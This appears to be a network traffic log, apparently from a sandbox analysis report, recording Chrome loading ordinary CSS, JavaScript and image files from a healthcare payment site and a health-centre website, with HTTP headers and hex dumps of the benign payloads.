2024-04-24 12:44:55 UTC	16384	IN	Data Raw: 70 78 20 31 35 70 78 20 23 35 42 39 44 41 45 35 37 3b 0d 0a 7d 0d 0a 2e 68 2d 77 72 61 70 70 65 72 20 2e 6c 6f 67 69 6e 2d 68 65 61 6c 74 68 2d 73 65 63 74 69 6f 6e 20 2e 70 72 6f 76 69 64 65 72 64 65 74 61 69 6c 20 2e 69 63 6f 6e 2d 6c 6f 63 61 74 69 6f 6e 3a 62 65 66 6f 72 65 20 7b 0d 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 38 70 78 3b 0d 0a 7d 0d 0a 2e 68 2d 77 72 61 70 70 65 72 20 2e 6c 6f 67 69 6e 2d 68 65 61 6c 74 68 2d 73 65 63 74 69 6f 6e 20 2e 70 72 6f 76 69 64 65 72 64 65 74 61 69 6c 20 2e 69 63 6f 6e 2d 63 61 6c 6c 3a 62 65 66 6f 72 65 20 7b 0d 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 35 70 78 3b 0d 0a 7d 0d 0a 2e 68 2d 77 72 61 70 70 65 72 20 2e 6c 6f 67 69 6e 2d 68 65 61 6c 74 68 2d 73 65 63 74 69 6f 6e 20 2e 6c 6f 67 69 Data Ascii: px 15px #5B9DAE57;}.h-wrapper .login-health-section .providerdetail .icon-location:before { font-size: 18px;}.h-wrapper .login-health-section .providerdetail .icon-call:before { font-size: 15px;}.h-wrapper .login-health-section .logi
2024-04-24 12:44:55 UTC	10597	IN	Data Raw: 20 23 64 64 64 3b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 2d 74 6f 70 3a 20 35 70 78 3b 0d 0a 20 20 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 69 74 61 6c 69 63 3b 0d 0a 7d 0d 0a 2e 68 2d 77 72 61 70 70 65 72 20 2e 66 6c 6f 61 74 2d 72 69 67 68 74 7b 0d 0a 20 20 20 20 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 0d 0a 20 20 20 20 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 3b 0d 0a 7d 0d 0a 2e 68 2d 77 72 61 70 70 65 72 20 2e 77 61 69 74 69 6e 67 2d 77 72 61 70 70 65 72 20 2e 76 69 64 65 6f 2d 77 72 61 70 70 65 72 20 2e 61 63 63 6f 72 64 69 6f 6e 20 2e 61 63 63 6f 72 64 69 6f 6e 2d 69 74 65 6d 7b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 31 35 70 78 3b 0d 0a 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 31 35 70 78 3b 0d 0a 7d 0d Data Ascii: #ddd; padding-top: 5px; font-style: italic;}.h-wrapper .float-right{ float: right; cursor: pointer;}.h-wrapper .waiting-wrapper .video-wrapper .accordion .accordion-item{ margin-bottom: 15px; border-radius: 15px;}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.4	49971	20.121.85.116	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:54 UTC	786	OUT	GET /HealowPay/jsp/js/assets/css/media-layout.css HTTP/1.1 Host: www.healowpay.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.healowpay.com/HealowPay/jsp/healow/login.jsp Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=8CE94DA95A067ED22B02F72C64DE30D7; ApplicationGatewayAffinityCORS=7c01dadb4c197224376f894aa3ea99d4; ApplicationGatewayAffinity=7c01dadb4c197224376f894aa3ea99d4
2024-04-24 12:44:55 UTC	1410	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:44:54 GMT Content-Type: text/css Content-Length: 42058 Connection: close X-FRAME-OPTIONS: SAMEORIGIN X-CONTENT-TYPE-OPTIONS: NOSNIFF X-XSS-Protection: 1; mode=block Referrer-policy: strict-origin-when-cross-origin Permissions-Policy: geolocation=(), midi=(), notifications=(), push=(), microphone=(), camera=(), magnetometer=(), gyro-scope=(), speaker=(), vibrate=(), fullscreen=(), payment=() Content-Security-Policy: style-src 'self' 'unsafe-inline' https://healow.com https://fonts.googleapis.com; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://healow.com https://.healow.com; form-action 'self' https://.eclinicalweb.com https://.healow.com https://healow.com; frame-src 'self' 'unsafe-inline' https://.eclinicalweb.com https://.healow.com https://healow.com; img-src 'self' https://.eclinicalweb.com https://healow.com data data: https://.ecwcloud.in https://.ecwcloud.com https://.eclinicalweb.com https://.ecwlab.com; connect-src 'self'; child-src 'self'; object-src 'self'; media-src 'self'; frame-ancestors 'self' https://*.healow.com; default-src 'self'; font-src 'self' https://fonts.gstatic.com data; report-uri ../cspReport/cspViolationReport.jsp; Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes ETag: W/"42058-1709723745000" Last-Modified: Wed, 06 Mar 2024 11:15:45 GMT vary: accept-encoding Server:
2024-04-24 12:44:55 UTC	14974	IN	Data Raw: 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 33 32 30 70 78 29 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 20 37 36 37 70 78 29 20 7b 0d 0a 20 20 20 20 2e 68 2d 77 72 61 70 70 65 72 2e 6a 74 2d 6f 76 65 72 66 6c 6f 77 20 7b 0d 0a 20 20 20 20 20 20 20 20 6f 76 65 72 66 6c 6f 77 3a 20 76 69 73 69 62 6c 65 3b 0d 0a 20 20 20 20 7d 0d 0a 20 20 20 20 62 6f 64 79 2e 6f 76 65 72 66 6c 6f 77 7b 0d 0a 20 20 20 20 20 20 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0d 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 30 3b 0d 0a 20 20 20 20 7d 0d 0a 20 20 20 20 2e 68 2d 77 72 61 70 70 65 72 20 2e 73 65 6c 2d 6f 70 74 6e 2e 73 70 65 63 69 61 6c 69 74 79 2d 64 64 7b 0d 0a 20 20 20 20 20 20 20 20 6d 61 78 2d 68 65 69 67 Data Ascii: @media (min-width: 320px) and (max-width: 767px) { .h-wrapper.jt-overflow { overflow: visible; } body.overflow{ overflow: hidden; padding-right: 0; } .h-wrapper .sel-optn.speciality-dd{ max-heig
2024-04-24 12:44:55 UTC	16384	IN	Data Raw: 61 73 65 2d 69 6e 2d 6f 75 74 2c 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 20 30 2e 36 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 68 2d 77 72 61 70 70 65 72 20 2e 6c 6f 63 61 74 69 6f 6e 2d 6c 69 73 74 20 2e 6e 61 76 2d 69 74 65 6d 2e 61 63 74 69 76 65 20 7b 0d 0a 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 68 2d 77 72 61 70 70 65 72 20 2e 6c 6f 63 61 74 69 6f 6e 2d 6c 69 73 74 20 2e 6e 61 76 2d 69 74 65 6d 20 7b 0d 0a 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 6d 61 78 2d 63 6f 6e 74 65 6e 74 3b 0d 0a 20 20 20 20 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0d 0a 20 20 20 20 20 20 20 20 64 69 73 70 Data Ascii: ase-in-out, -webkit-transform 0.6s ease-in-out; } .h-wrapper .location-list .nav-item.active { display: block; } .h-wrapper .location-list .nav-item { width: max-content; position: relative; disp
2024-04-24 12:44:55 UTC	10700	IN	Data Raw: 72 20 2e 63 6f 6e 73 75 6c 74 2d 74 79 70 65 20 2e 74 79 70 65 2d 62 6c 6f 63 6b 20 6c 61 62 65 6c 20 2e 69 63 6f 6e 2d 70 72 6f 76 69 64 65 72 3a 62 65 66 6f 72 65 20 7b 0d 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 32 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 30 44 30 36 33 30 3b 0d 0a 20 20 20 20 7d 0d 0a 20 20 20 20 2e 68 2d 77 72 61 70 70 65 72 20 2e 63 6f 6e 73 75 6c 74 2d 74 79 70 65 2e 66 69 6c 74 65 72 6f 70 74 69 6f 6e 20 2e 74 79 70 65 2d 62 6c 6f 63 6b 20 6c 61 62 65 6c 20 2e 69 63 6f 6e 2d 70 72 6f 76 69 64 65 72 3a 62 65 66 6f 72 65 2c 0d 0a 20 20 20 20 2e 68 2d 77 72 61 70 70 65 72 20 2e 63 6f 6e 73 75 6c 74 2d 74 79 70 65 2e 66 69 6c 74 65 72 6f 70 74 69 6f 6e 20 2e 74 79 70 65 2d 62 6c 6f 63 6b 20 Data Ascii: r .consult-type .type-block label .icon-provider:before { font-size: 22px; color: #0D0630; } .h-wrapper .consult-type.filteroption .type-block label .icon-provider:before, .h-wrapper .consult-type.filteroption .type-block

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
150	192.168.2.4	49975	20.121.85.116	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:54 UTC	783	OUT	GET /HealowPay/jsp/js/assets/css/animation.css HTTP/1.1 Host: www.healowpay.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.healowpay.com/HealowPay/jsp/healow/login.jsp Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=8CE94DA95A067ED22B02F72C64DE30D7; ApplicationGatewayAffinityCORS=7c01dadb4c197224376f894aa3ea99d4; ApplicationGatewayAffinity=7c01dadb4c197224376f894aa3ea99d4
2024-04-24 12:44:55 UTC	1410	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:44:54 GMT Content-Type: text/css Content-Length: 26053 Connection: close X-FRAME-OPTIONS: SAMEORIGIN X-CONTENT-TYPE-OPTIONS: NOSNIFF X-XSS-Protection: 1; mode=block Referrer-policy: strict-origin-when-cross-origin Permissions-Policy: geolocation=(), midi=(), notifications=(), push=(), microphone=(), camera=(), magnetometer=(), gyro-scope=(), speaker=(), vibrate=(), fullscreen=(), payment=() Content-Security-Policy: style-src 'self' 'unsafe-inline' https://healow.com https://fonts.googleapis.com; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://healow.com https://.healow.com; form-action 'self' https://.eclinicalweb.com https://.healow.com https://healow.com; frame-src 'self' 'unsafe-inline' https://.eclinicalweb.com https://.healow.com https://healow.com; img-src 'self' https://.eclinicalweb.com https://healow.com data data: https://.ecwcloud.in https://.ecwcloud.com https://.eclinicalweb.com https://.ecwlab.com; connect-src 'self'; child-src 'self'; object-src 'self'; media-src 'self'; frame-ancestors 'self' https://*.healow.com; default-src 'self'; font-src 'self' https://fonts.gstatic.com data; report-uri ../cspReport/cspViolationReport.jsp; Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes ETag: W/"26053-1655710779000" Last-Modified: Mon, 20 Jun 2022 07:39:39 GMT vary: accept-encoding Server:
2024-04-24 12:44:55 UTC	14974	IN	Data Raw: 5b 64 61 74 61 2d 61 6f 73 5d 5b 64 61 74 61 2d 61 6f 73 5d 5b 64 61 74 61 2d 61 6f 73 2d 64 75 72 61 74 69 6f 6e 3d 22 35 30 22 5d 2c 62 6f 64 79 5b 64 61 74 61 2d 61 6f 73 2d 64 75 72 61 74 69 6f 6e 3d 22 35 30 22 5d 20 5b 64 61 74 61 2d 61 6f 73 5d 7b 74 72 61 6e 73 69 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 35 30 6d 73 7d 5b 64 61 74 61 2d 61 6f 73 5d 5b 64 61 74 61 2d 61 6f 73 5d 5b 64 61 74 61 2d 61 6f 73 2d 64 65 6c 61 79 3d 22 35 30 22 5d 2c 62 6f 64 79 5b 64 61 74 61 2d 61 6f 73 2d 64 65 6c 61 79 3d 22 35 30 22 5d 20 5b 64 61 74 61 2d 61 6f 73 5d 7b 74 72 61 6e 73 69 74 69 6f 6e 2d 64 65 6c 61 79 3a 30 7d 5b 64 61 74 61 2d 61 6f 73 5d 5b 64 61 74 61 2d 61 6f 73 5d 5b 64 61 74 61 2d 61 6f 73 2d 64 65 6c 61 79 3d 22 35 30 22 5d 2e 61 6f 73 2d 61 Data Ascii: [data-aos][data-aos][data-aos-duration="50"],body[data-aos-duration="50"] [data-aos]{transition-duration:50ms}[data-aos][data-aos][data-aos-delay="50"],body[data-aos-delay="50"] [data-aos]{transition-delay:0}[data-aos][data-aos][data-aos-delay="50"].aos-a
2024-04-24 12:44:55 UTC	11079	IN	Data Raw: 6f 73 2d 61 6e 69 6d 61 74 65 2c 62 6f 64 79 5b 64 61 74 61 2d 61 6f 73 2d 64 65 6c 61 79 3d 22 32 32 30 30 22 5d 20 5b 64 61 74 61 2d 61 6f 73 5d 2e 61 6f 73 2d 61 6e 69 6d 61 74 65 7b 74 72 61 6e 73 69 74 69 6f 6e 2d 64 65 6c 61 79 3a 32 2e 32 73 7d 5b 64 61 74 61 2d 61 6f 73 5d 5b 64 61 74 61 2d 61 6f 73 5d 5b 64 61 74 61 2d 61 6f 73 2d 64 75 72 61 74 69 6f 6e 3d 22 32 32 35 30 22 5d 2c 62 6f 64 79 5b 64 61 74 61 2d 61 6f 73 2d 64 75 72 61 74 69 6f 6e 3d 22 32 32 35 30 22 5d 20 5b 64 61 74 61 2d 61 6f 73 5d 7b 74 72 61 6e 73 69 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 32 2e 32 35 73 7d 5b 64 61 74 61 2d 61 6f 73 5d 5b 64 61 74 61 2d 61 6f 73 5d 5b 64 61 74 61 2d 61 6f 73 2d 64 65 6c 61 79 3d 22 32 32 35 30 22 5d 2c 62 6f 64 79 5b 64 61 74 61 2d 61 6f Data Ascii: os-animate,body[data-aos-delay="2200"] [data-aos].aos-animate{transition-delay:2.2s}[data-aos][data-aos][data-aos-duration="2250"],body[data-aos-duration="2250"] [data-aos]{transition-duration:2.25s}[data-aos][data-aos][data-aos-delay="2250"],body[data-ao

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
151	192.168.2.4	49974	20.121.85.116	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:54 UTC	784	OUT	GET /HealowPay/jsp/js/assets/css/healow-pay.css HTTP/1.1 Host: www.healowpay.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.healowpay.com/HealowPay/jsp/healow/login.jsp Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=8CE94DA95A067ED22B02F72C64DE30D7; ApplicationGatewayAffinityCORS=7c01dadb4c197224376f894aa3ea99d4; ApplicationGatewayAffinity=7c01dadb4c197224376f894aa3ea99d4
2024-04-24 12:44:55 UTC	1410	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:44:54 GMT Content-Type: text/css Content-Length: 28616 Connection: close X-FRAME-OPTIONS: SAMEORIGIN X-CONTENT-TYPE-OPTIONS: NOSNIFF X-XSS-Protection: 1; mode=block Referrer-policy: strict-origin-when-cross-origin Permissions-Policy: geolocation=(), midi=(), notifications=(), push=(), microphone=(), camera=(), magnetometer=(), gyro-scope=(), speaker=(), vibrate=(), fullscreen=(), payment=() Content-Security-Policy: style-src 'self' 'unsafe-inline' https://healow.com https://fonts.googleapis.com; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://healow.com https://.healow.com; form-action 'self' https://.eclinicalweb.com https://.healow.com https://healow.com; frame-src 'self' 'unsafe-inline' https://.eclinicalweb.com https://.healow.com https://healow.com; img-src 'self' https://.eclinicalweb.com https://healow.com data data: https://.ecwcloud.in https://.ecwcloud.com https://.eclinicalweb.com https://.ecwlab.com; connect-src 'self'; child-src 'self'; object-src 'self'; media-src 'self'; frame-ancestors 'self' https://*.healow.com; default-src 'self'; font-src 'self' https://fonts.gstatic.com data; report-uri ../cspReport/cspViolationReport.jsp; Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes ETag: W/"28616-1709635636000" Last-Modified: Tue, 05 Mar 2024 10:47:16 GMT vary: accept-encoding Server:
2024-04-24 12:44:55 UTC	14974	IN	Data Raw: 2f 2a 20 50 61 79 20 42 69 6c 6c 20 53 74 79 6c 65 73 20 53 74 61 72 74 20 2a 2f 0d 0a 2e 68 2d 77 72 61 70 70 65 72 20 2e 6d 74 33 20 7b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 2d 33 70 78 3b 0d 0a 7d 0d 0a 2e 68 2d 77 72 61 70 70 65 72 20 2e 68 65 61 64 65 72 2d 77 72 61 70 70 65 72 2e 66 69 78 65 64 6e 61 76 2d 77 72 61 70 70 65 72 20 2e 68 65 61 6c 6f 77 2d 6e 61 76 62 61 72 2e 70 61 79 6e 61 76 62 61 72 20 7b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 32 70 78 20 30 3b 0d 0a 7d 0d 0a 2e 68 2d 77 72 61 70 70 65 72 20 2e 70 61 79 62 69 6c 6c 2d 77 72 61 70 70 65 72 20 7b 20 20 20 20 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 2d 74 6f 70 3a 20 39 35 70 78 3b 0d 0a 7d 0d 0a 2e 68 2d 77 72 61 70 70 65 72 20 2e 70 61 79 62 69 6c 6c 2d 77 72 Data Ascii: /* Pay Bill Styles Start */.h-wrapper .mt3 { margin-top: -3px;}.h-wrapper .header-wrapper.fixednav-wrapper .healow-navbar.paynavbar { padding: 12px 0;}.h-wrapper .paybill-wrapper { padding-top: 95px;}.h-wrapper .paybill-wr
2024-04-24 12:44:55 UTC	13642	IN	Data Raw: 31 36 70 78 3b 0d 0a 7d 0d 0a 0d 0a 2e 68 2d 77 72 61 70 70 65 72 20 2e 70 61 79 62 69 6c 6c 2d 77 72 61 70 70 65 72 2e 70 61 79 6d 65 6e 74 44 65 74 61 69 6c 73 57 72 61 70 70 65 72 20 2e 63 61 72 64 2e 70 61 79 63 61 72 64 20 2e 62 61 6c 6e 61 63 65 2d 77 72 61 70 70 65 72 20 7b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 36 70 78 3b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 45 44 46 39 46 43 3b 0d 0a 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 31 36 70 78 3b 0d 0a 20 20 20 20 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 44 46 44 46 44 46 3b 0d 0a 7d 0d 0a 0d 0a 2e 68 2d 77 72 61 70 70 65 72 20 2e 70 61 79 62 69 6c 6c 2d 77 72 61 70 70 65 72 2e 70 61 79 6d 65 6e 74 44 65 74 61 69 6c 73 57 72 61 70 70 65 72 20 Data Ascii: 16px;}.h-wrapper .paybill-wrapper.paymentDetailsWrapper .card.paycard .balnace-wrapper { padding: 16px; background: #EDF9FC; border-radius: 16px; border: 1px solid #DFDFDF;}.h-wrapper .paybill-wrapper.paymentDetailsWrapper

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
152	192.168.2.4	49976	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:55 UTC	747	OUT	GET /wp-content/themes/vpchc/dist/_theme_color.bundle.js?ver=230904-91935 HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962682.0.0.0; _ga=GA1.2.446872372.1713962665
2024-04-24 12:44:55 UTC	427	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:55 GMT Content-Type: application/javascript Content-Length: 940 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Mon, 04 Sep 2023 09:19:35 GMT Vary: Accept-Encoding ETag: "64f5a127-3ac" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:55 UTC	940	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 72 28 6e 29 7b 69 66 28 74 5b 6e 5d 29 72 65 74 75 72 6e 20 74 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 6f 3d 74 5b 6e 5d 3d 7b 69 3a 6e 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 63 61 6c 6c 28 6f 2e 65 78 70 6f 72 74 73 2c 6f 2c 6f 2e 65 78 70 6f 72 74 73 2c 72 29 2c 6f 2e 6c 3d 21 30 2c 6f 2e 65 78 70 6f 72 74 73 7d 72 2e 6d 3d 65 2c 72 2e 63 3d 74 2c 72 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 72 2e 6f 28 65 2c 74 29 7c 7c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 67 65 74 3a 6e 7d 29 7d 2c 72 2e 72 3d 66 75 6e Data Ascii: !function(e){var t={};function r(n){if(t[n])return t[n].exports;var o=t[n]={i:n,l:!1,exports:{}};return e[n].call(o.exports,o,o.exports,r),o.l=!0,o.exports}r.m=e,r.c=t,r.d=function(e,t,n){r.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},r.r=fun

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
153	192.168.2.4	49977	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:55 UTC	717	OUT	GET /wp-content/themes/vpchc/dist/custom.js HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962682.0.0.0; _ga=GA1.2.446872372.1713962665
2024-04-24 12:44:55 UTC	428	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:55 GMT Content-Type: application/javascript Content-Length: 2119 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Mon, 04 Sep 2023 09:19:51 GMT Vary: Accept-Encoding ETag: "64f5a137-847" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:55 UTC	2119	IN	Data Raw: 24 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0d 0a 20 20 2f 2f 20 47 65 74 74 69 6e 67 20 65 6c 65 6d 65 6e 74 73 0d 0a 20 20 6c 65 74 20 72 65 76 69 65 77 73 43 6f 75 6e 74 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 2e 67 6f 6f 67 6c 65 2d 72 65 76 69 65 77 73 2d 63 6f 6e 74 61 69 6e 65 72 22 29 3b 0d 0a 20 20 6c 65 74 20 72 65 76 69 65 77 73 65 63 74 69 6f 6e 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 2e 73 65 63 74 69 6f 6e 2d 67 6f 6f 67 6c 65 2d 72 65 76 69 65 77 73 22 29 3b 0d 0a 20 20 2f 2f 20 63 68 65 63 6b 69 6e 67 20 6e 75 6d 62 65 72 20 6f 66 20 72 65 76 69 65 77 73 0d 0a 20 20 69 66 20 28 72 65 76 69 65 77 73 43 6f 75 6e Data Ascii: $(document).ready(function () { // Getting elements let reviewsCount = document.querySelector(".google-reviews-container"); let reviewsection = document.querySelector(".section-google-reviews"); // checking number of reviews if (reviewsCoun

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
154	192.168.2.4	49978	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:55 UTC	786	OUT	GET /wp-content/uploads/2020/07/homepage-923x814.jpg HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
2024-04-24 12:44:55 UTC	327	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:55 GMT Content-Type: image/jpeg Content-Length: 78254 Connection: close Last-Modified: Mon, 04 Sep 2023 09:19:40 GMT ETag: "64f5a12c-131ae" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:55 UTC	16057	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 06 04 04 05 04 04 06 05 05 05 06 06 06 07 09 0e 09 09 08 08 09 12 0d 0d 0a 0e 15 12 16 16 15 12 14 14 17 1a 21 1c 17 18 1f 19 14 14 1d 27 1d 1f 22 23 25 25 25 16 1c 29 2c 28 24 2b 21 24 25 24 ff db 00 43 01 06 06 06 09 08 09 11 09 09 11 24 18 14 18 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 ff c0 00 11 08 03 2e 03 9b 03 01 11 00 02 11 01 03 11 01 ff c4 00 1c 00 00 02 03 01 01 01 01 00 00 00 00 00 00 00 00 00 01 02 00 03 04 05 06 07 08 ff c4 00 44 10 00 01 04 01 03 03 02 04 04 04 04 06 02 01 01 09 01 00 02 03 11 04 05 21 31 06 12 41 13 51 07 22 61 71 14 32 81 91 23 42 a1 b1 15 Data Ascii: 